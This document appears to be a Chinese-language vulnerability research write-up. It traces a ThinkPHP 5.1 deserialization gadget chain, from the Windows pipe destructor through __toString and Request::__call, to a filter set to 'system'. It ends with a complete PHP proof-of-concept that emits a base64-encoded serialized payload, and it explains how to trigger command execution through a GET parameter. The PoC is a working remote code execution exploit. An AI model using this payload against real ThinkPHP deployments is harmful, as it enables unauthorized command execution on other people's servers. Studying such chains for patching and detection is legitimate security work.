简析
__destruct
- 首先可以看到4个
__destruct
中只有 windows 下多调用了一个 removeFiles 方法,跟进后,可见调用 file_exists,通过注释可见参数类型为 string,这样会调用$filename -> __toString()
利用点
现在需要找到一个可利用的__toString
方法,全局搜索一下
\think\Collection::__toString
\think\model\concern\Conversion::__toString
这两条链使用的都使用的相同的逻辑进行解析
由于$name
源自$this->append
可控且中间量均可控制,只要找到 visible 且接收 array 类型参数即可,通过全局搜索,可见没有能利用的visible
如果没有可直接利用的visible,就换方向看是否有可控__call
,但这里还有个问题:
一般__call
是call_user_func_array
或__call_user_func
,由于我们已经明确 method 为 visible 且不可控,能控制的变量只有$args
而在 \think\Request::__call
中,可以通过$this->hook
控制传入call_user_func_array
的方法名
但由于 array_unshift 的缘故,$args = [$this, $args[0]]
通过需要操控为
call_user_func_array([$object, $method], [$this, $args[0]])
即
$object->$method($this, args[0])
Gadget
一般来说很难找到一个方法能够忽略
传入的第一个参数,还能将其他参数带入命令执行。
但是在 tp 中,可利用内置filter
对参数进行过滤
跟进 input 方法,假如直接进行调用,由于经过__call
方法会将所有的参数打包一遍,导致在 1354 行(string) $name
时报错,所以需要找一个传入$name
是字符串的点
搜索一下引用input的点有 7 处,但注意大部分仍是不可利用的点,以get
为例,由于需要传入的一个参数是$name = $this
类对象,再进入input
后,还是会在 1354 行(string) $name
时报错
最后只有\think\Request::param
,在向上看param
的调用,能否找到传入为字符串的
可以看到isAjax
、isPjax
应该都可以,这里看前者
可以看到即使传入第一个参数为类对象,也可进入param
函数,且config
参数可控。
对于多出来的参数,PHP有个特性,一个函数可以接收任意数量参数,超出的部分可以自动忽略。
poc 编写
首先根据__dectruct
入口和利用点
两节,创建Windows
类,由于我们想要在获取file
的文件名时进入到调用visible函数,就必须满足file类
继承RelationShip
、Attribute
以及当前的Conversion
这里有一个可利用的即\think\Model
,但这是一个抽象类,需要继承后才可实例化
简单搜索下,发现Pivot
只继承了Model
,方便拿来使用
同时为了控制进入到Request
的__call
方法,需要如下设置,需要两个 key 一致
- append = array(custom_key => array(??))
- data = array(cunstom_key => new Request())
<?php
namespace think;
class Model {
protected $append = [];
private $data = [];
function __construct(){
$this->append = ['sari3l' => ['任意']];
$this->data = ['sari3l' => new Request()];
}
}
class Request {
}
namespace think\process\pipes;
use think\model\Pivot;
class Windows {
private $files = [];
function __construct(){
$this->files = [new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model {}
现在根据Gadget
,意图进入__call
后调用isAjax/isPjax
,只需要控制$this->hook
class Request {
protected $hook = ['visiable' => [$this, 'isAjax']];
}
而isXjax
中我们只需要控制config['var_ajax']
,作为$name
原封不动传入input
函数;同时注意到$this->param
会合并请求参数和URL地址中的参数后作为$data
传入 input;而由于传入$filter
为空,所以会取$this->filter
class Request {
protected $filter = 'system';
protected $hook = ['visiable' => [$this, 'isAjax']];
protected $config = [
// 表单ajax伪装变量
'var_ajax' => '_ajax',
];
}
在input
函数中,会取$data[$name]
作为filterValue
第一个参数,会取$filter
为第三个参数,之后就可以被执行了,但是注意var_ajax值
需要在$param
中有相同值作为 key
还有$filter
会通过is_callable
检验后带入call_user_func
,所以eval
在这里就不行了
最终 POC
<?php
namespace think;
abstract class Model {
protected $append = [];
private $data = [];
function __construct(){
$this->append = ['sari3l' => ['暂时']];
$this->data = ['sari3l' => new Request()];
}
}
class Request {
protected $filter = 'system';
protected $hook = [];
protected $config = [
// 表单ajax伪装变量
'var_ajax' => '_ajax',
];
function __construct(){
$this->filter = 'system';
$this->config['var_ajax'] = 'test'; // GET请求参数
$this->hook = ['visible' => [$this, 'isAjax']];
}
}
namespace think\process\pipes;
use think\model\Pivot;
class Windows {
private $files = [];
function __construct(){
$this->files = [new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model {}
namespace think\process\pipes;
echo base64_encode(serialize(new Windows()));
其他
由于我们设置$this->config['var_ajax'] = 'test';
,且传入test值
为字符串,所以走的是 else
逻辑。通过传入或直接$param
对应值为array
类型,执行if
逻辑也是可以的